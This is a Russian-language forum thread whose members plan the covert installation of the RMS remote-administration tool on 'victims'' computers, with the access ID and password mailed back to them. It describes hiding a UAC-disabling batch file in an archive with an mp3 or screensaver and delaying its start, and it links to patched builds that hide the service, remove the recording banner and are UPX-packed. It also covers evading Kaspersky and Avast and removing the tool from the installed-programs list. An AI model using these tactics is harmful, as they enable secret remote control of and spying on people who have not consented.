RMS 5.1 c отправкой ID и pass на почту.

smith,
UAC это и вправду сила, единственная реально действующая защита в истории Windows, склей с какой нибудь программой что бы это сообщение было ожидаемо и логично для пользователя.

У кого есть нормально работающий чекер, скиньте сюда либо ЛС

 

думай... выход всегда есть... склей с скринсейвером, а exe конечный смени в scr. Пользователь установит скринсейвер + твой батничек на выключение UAC

 

Чекер для RMS как я понял нужен только для сборки которая отсылает ID на почту?
если собираешь RMS со встроенным ID чекер не нужен?
andersen62, жертва категорически относится к установки программ и тому подобных.
Если жертве поставить сервер 5.1.3b2ru... то стоит ли его после этого обновлять? (если да, то для чего?)

Кто сможет создать такой батник по обходу UAC?
"Проверять свои права, если они низкие, то запускать себя в цикле с наивысшими правами, пока не получится запустить. т.е. основная идея в том, чтобы зае*ать юзверя появлениями окна UAC и в конечном итоге он рано или поздно разрешит запуск с наивысшими правами. Я конечно понимаю, действует это хорошо, но всё равно это очень паливный обход".

Идея в том чтоб RMS при установке был как можно скрытен. То есть для начала послать жертве данный батник для того чтоб отключить UAC (батник будет в архиве вместе с mp3... жертва запустит mp3 и спустя некоторое время подчеркиваю именно некоторое время(для того чтоб не вызвать подозрений) 20-30 минут стартует данный батник который выполнит свою задачу). После того как жертва перезагрузила компьютер можно с уверенностью отправлять жертве RMS, опять же в архиве с любым другим файлом).

 

Привет всем) Есть ли у кого-то патченые файлы (чтоб убрать банер про видеосъёмку) для последней RMS (версия 5.2.1 от 07.06.2012) ? Если есть, выложите пожалуйста, или может подскажите как и чем самому пропадчить.. Нужно именно для версии 5.2.1 от 07.06.2012!!

 

http://www.sendspace.com/filegroup/GCnqGMq3RhVHF36t6meRqQ
По этой ссылке 2 сборки версии 5.2.1, без msi пакета, копирует и запускает, без отправки ID, имя службы изменено, устанавливается в %SYSTEMROOT%\Windows\system32\sysfiles. В первой сборке оригинальные файлы с цифровой подписью, во второй патченные - изменено описание, отключён банер, исполняемые файлы сжаты upx'ом, у файла rutserv.exe изменена иконка. Для настройки нужно закинуть файл конфигурации в RMS.exe с именем set.reg. Как создать файл настроек смотрим здесь.

 

http://chk4me.com/check/public/ByHK12tJ4XN4a55SkdZI2764Y3o0
Касперский видит его не как вирус но всё ровно предупредит пользователя... к тому же кинул жертве сервер так у жертвы avast запаниковал... что делать?

P.S. немножко оффтоп но всё ровно спрошу... может кто нибудь написать подробный мануал или записать видео (Взлом через Metasploit)... Есть мануал от onthar, но у него со старой версией, а с новой без понятия как работать по его мануалу.

 

Касперский не предупредит, проверенно, даже если целеноправленно сканировать сами файлы, но выбирать нужно первый вариант с цифровой подписью чтобы фаер занёс RMS в доверенные программы и небыло ограничений и невыскакивали сообщения на доступ. Насчёт avast'a, он не должен паниковать, странно, используй самую последнию версию сервера, причем касперский её не видит вообще , файл rutserv.exe
исполняемые файлы
ps проверка не моя нашёл по контрольной сумме

 

Подскажите пожалуйста, как полностью удалить RMS сервер с копьютера жертвы имея доступ к командной строке через telnet. Из-за неполного ранее удаления программ отказывается устанавливаться!! В логе установки вот это: Ошибка 2753 файл "rfusclient.exe" не отмечен для установки.. Что в реестре почистить надо?

 

IIIBotan,
все записи remote manipulator, их порядка 5-7.

 

Какие/где именно, можешь выложить?

 

как скрыть rms5.2ru в установленных программах и переименовать описание процесса в диспетчере задач?

есть ли для него файлы для устранения баннера ? так как я понимая данные файлы не будут иметь цифровой подписи а это означает что в скором времени они будут видны антивирусу?

 

Вообщем удаляю rms вот этим батником:

Ставлю новую, новая ставится, но ID на почту не приходит - настройки вообще не ставятся.. Смотрю лог установки, вижу:

Первый раз программа поставилась безо всяких проблем, ID и Пароль на почту пришли.. Но вот второй и последующие разы такая проблема... Кто-нибудь знает, что делать, чтоб программа поставилась нормально, с настройками?

 

IIIBotan,
по старому ID неконект?

 

smith,

Чуть выше Naku писал:

Вытащи из второй сборки (Oneclickupx.exe) патченые файлы, в них изменено описание.. Для скрытия из установленных программ вот:

А вот на счёт того, будут ли скоро антивирусы ругаться на патченые файлы, мне и самому интересно.. И ещё, ты спрашивал про rms5.2ru, если ты имел в виду RMS 5.2.1 от 07.06.2012, то мои ответы тебе подойдут..

Добавлено через 1 минуту
10feb,
Старый ID я потерял..

 

IIIBotan,

- каким образом это работает и точно ли подходит к rms5.2ru ?

 

smith,
Если ты под "rms5.2ru" понимаешь "RMS 5.2.1 от 07.06.2012 числа", то всё работает, точно; если более раннюю версию, то для неё тоже есть, поищи тут на форуме..

 

IIIBotan,
благодарю... но а то что для скрытия из установленных программах то как оно работает? то есть переименовывает или что-то другое делает?
и на счет Касперского... если устанавливать оригинальный дистрибутив, то точно не пикнет при установке?

 

smith,
Удаляет записи из реестра.. Касперский Кристал 12.0.1.288 и Касперский 6.0 для Серверов, на сегодняшний день, молчат, как окунь)..

Добавлено через 14 минут
Удаляю rms вот этим батником:

Ставлю новую, новая ставится, но ID на почту не приходит - настройки вообще не ставятся.. Смотрю лог установки, вижу:

Первый раз программа поставилась безо всяких проблем, ID и Пароль на почту пришли.. Но вот второй и последующие разы такая проблема... Кто-нибудь знает, что делать, чтоб программа поставилась нормально, с настройками?

 

В "Установка и удаление программ" всё ровно отображается... вот батник:

Что нужно ещё добавить в батник для того чтоб при установки дистрибутива много раз не возникло проблем?

 

smith,
Поудаляй лишние пробелы.. Например: Un install - Uninstall, In staller - Installer, 506AA7BAF00535142870B F553 6141921 - 506AA7BAF00535142870BF5536141921...
Если же не помогло, то скачай программу от сюда: http://rmansys.ru/download/rms5.2ru.zip или установи на виртуальную машину или себе на компьютер, найди нужные записи у себя в реестре и замени в батнике..